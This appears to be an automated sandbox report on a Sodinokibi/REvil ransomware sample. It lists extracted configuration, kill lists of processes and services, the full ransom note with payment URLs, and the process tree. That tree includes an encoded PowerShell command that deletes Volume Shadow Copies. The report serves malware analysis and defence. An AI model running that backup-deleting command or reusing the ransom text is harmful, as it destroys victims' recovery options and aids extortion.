Resubmissions

28/07/2024, 16:34

240728-t3cqnasfml10

28/07/2024, 16:18

240728-tsfdsssbpr10

26/07/2024, 07:19

240726-h5sn4stdnm10

Analysis

  • max time kernel
    139s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/07/2024, 16:18

General

  • Target
    ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
  • Size 139KB
  • Sample240728-tsfdsssbpr
  • SHA256 ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • sodinokibi

Botnet
  • $2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

Campaign
  • 4085

Decoy
  • sandd.nl

  • digivod.de

  • southeasternacademyofprosthodontics.org

  • resortmtn.com

  • mdk-mediadesign.de

  • tetinfo.in

  • fayrecreations.com

  • ecpmedia.vn

  • physiofischer.de

  • highlinesouthasc.com

  • antenanavi.com

  • blog.solutionsarchitect.guru

  • deepsouthclothingcompany.com

  • coursio.com

  • quickyfunds.com

  • atmos-show.com

  • pawsuppetlovers.com

  • hokagestore.com

  • midmohandyman.com

  • mmgdouai.fr

Attributes
  • net

    true

  • pid

    $2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

  • prc

    sqbcoreservice

    dbsnmp

    mydesktopservice

    outlook

    ocomm

    excel

    mydesktopqos

    isqlplussvc

    onenote

    tbirdconfig

    msaccess

    encsvc

    infopath

    steam

    thebat

    agntsvc

    sql

    visio

    wordpad

    winword

    dbeng50

    powerpnt

    firefox

    xfssvccon

    mspub

    oracle

    thunderbird

    ocssd

    synctime

    ocautoupds

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    4085

  • svc

    memtas

    mepocs

    backup

    sophos

    sql

    svc$

    veeam

    vss

Extracted

Path
  • C:\Users\atu74c5-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension atu74c5. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/036A99092E54CAF7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/036A99092E54CAF7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 78Kymi4l4s39hd+MUUwRUKkeUJaSvoJABQYvQmoAsA8UUB92ujQcntxAB40SkEKY ZHIGZZExUvqYnUNs4+vLWV5nItkCnuXc3ei67sCC3SEtL6H1M/YbsfsizmLsh1S6 cdMnpMLBNvxMRn48GMtgiK/K6SbC2XuC3gZbZ6mvrUkFtbvZpWfcaYQI1x4+TidR Tt23QMYSfs4Wi71c8QA2jbTT79GauyN1u0pyv6RyzS6nEx+WFvX3Ooj2jZuVd6K4 5poWR4odBPubiFPkLQ7JjvIRv8jcjiO++rakMY6bQWCnenDC/RPLYpTERMAjr9KZ tqY3Sev+TzGGR2qxsm77mOAdE+oTSFGC0YDmC9v9h0G9dmaShYzCvRSnZFbk+9o/ 6s/1u4jK6Bt5ZKOWLo0dTX4OImMiy6z9AKRk5bj+vQJSmdL3L7gMl/cBtjxJ65rG dMZWAh66qKFHxucAd/6wvC7nWVm7l+ZoBC1BMqYxb3qXFzbrLlsxyJonCNdNqot6 /l9O5uRtBTwBFwnv7/+4WJ9alX7AM4asWrET5fFu8cIQUSIZUudc4U38VOp+u8xR QAfTt51oE6wWCe4JpV73/etbuS2HBy6pNceEq6aCeO+eGMMb72MQjC2lbYvTfXwb nHtIuwb0REIV7M8AfbLZFov2dsvb6r9EYnzG1PwTO47SVKFfWYM3UdfirrG9qZ+x HmblfICCwdWDRq/YmovWFI4DE2PAgr/E/Uz6n0D9H5EbM/YSPhkY2UQUZumXdeLN mkc26UIJ9QsebCeaRJq0gHnHb1EAHAQlsmO8Ehw8MfI5+ZE+0xZHwPUvxJ6D601s 2Rn6nhIL+G7xOB+IdhO1w8aNSihya4s8aT83Q0rLwbXCJxl/jvREKBbuMEP59Dw5 aR/hEnzcbYNsV7NvxMD6/iKZE3xok/9XYCY4a/poNBKo8sPx+vfPtbUGstL3Nh07 kRaESWzkFO2S3hwMoWVmgm0JtTCK+ImRVpAI2v3WvvfA+09hrZF/MbEnhFDirYFY ySRKxLTxLRpJSe/8vQN2E+jCQ0zx/7qEkzMH/aQfeHs9MTEkQdm9bKpG9OkX0skQ goyoWcl1U9K2ag/k7vS+Ltv+sGMDfzgy79nw4x6tWPTDhv3bnTWYUa30Vh/+D4iK 853ccogv++6gfqE3ahjIyqr2aZBYbj8syT166TIef4fOoaGDjeeNcPIkg0k3El6z xeIZVgEsi0gm7kvC842+qMNF39KIFwB2uVZTukPF/KMpzip73ehmX4PCT4LQa2uy i4U4SYesS9528Qlgrs8kldGnylZSVKsf92UJ4+LfnLhzhVM6Bc2tCYLowycneNU/ m1Oax6xx6bueDaeq66J75LiyrV0SRqoO4CcPRfnK1rvZNe+ijg+zNA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/036A99092E54CAF7

  • http://decryptor.cc/036A99092E54CAF7

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
    "C:\Users\Admin\AppData\Local\Temp\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2600
    • C:\Users\Admin\AppData\Local\Temp\Kufmxd.exe
      C:\Users\Admin\AppData\Local\Temp\Kufmxd.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1abc041a.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4400
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2484
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4240
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\atu74c5-readme.txt
      1⤵
        PID:1164
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\atu74c5-readme.txt
        1⤵
          PID:1800
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\atu74c5-readme.txt
          1⤵
            PID:292

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                k1[1].rar

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MQYRE6E5\k1[1].rar
                • Size 4B
                • SHA256 b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c
                • MD5 SHA1 SHA512

                13F20BBE.exe

                • Path C:\Users\Admin\AppData\Local\Temp\13F20BBE.exe
                • Size 4B
                • SHA256 9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31
                • MD5 SHA1 SHA512

                1abc041a.bat

                • Path C:\Users\Admin\AppData\Local\Temp\1abc041a.bat
                • Size 187B
                • SHA256 94287bbdfdda0522e2b91743b089d666c6fd82c36ef9542267320aa96eabe4aa
                • MD5 SHA1 SHA512

                Kufmxd.exe

                • Path C:\Users\Admin\AppData\Local\Temp\Kufmxd.exe
                • Size 15KB
                • SHA256 4485df22c627fa0bb899d79aa6ff29bc5be1dbc3caa2b7a490809338d54b7794
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_qqmmyc42.odv.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qqmmyc42.odv.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                atu74c5-readme.txt

                • Path C:\Users\atu74c5-readme.txt
                • Size 6KB
                • SHA256 1085c385d06b6e186c1b5ab376d758db5bff5a5e28f3b4357a451745d890b522
                • MD5 SHA1 SHA512 SSDEEP

                memory/2436-47-0x0000000000C40000-0x0000000000C49000-memory.dmp

                memory/2436-398-0x0000000000C40000-0x0000000000C49000-memory.dmp

                memory/2436-5-0x0000000000C40000-0x0000000000C49000-memory.dmp

                memory/2600-0-0x0000000000A70000-0x0000000000A97000-memory.dmp

                memory/2600-395-0x0000000000A70000-0x0000000000A97000-memory.dmp

                memory/4400-48-0x00007FF8BBEE3000-0x00007FF8BBEE5000-memory.dmp

                memory/4400-54-0x0000023571CC0000-0x0000023571CE2000-memory.dmp

                memory/4400-59-0x00007FF8BBEE0000-0x00007FF8BC9A1000-memory.dmp

                memory/4400-60-0x00007FF8BBEE0000-0x00007FF8BC9A1000-memory.dmp

                memory/4400-63-0x00007FF8BBEE0000-0x00007FF8BC9A1000-memory.dmp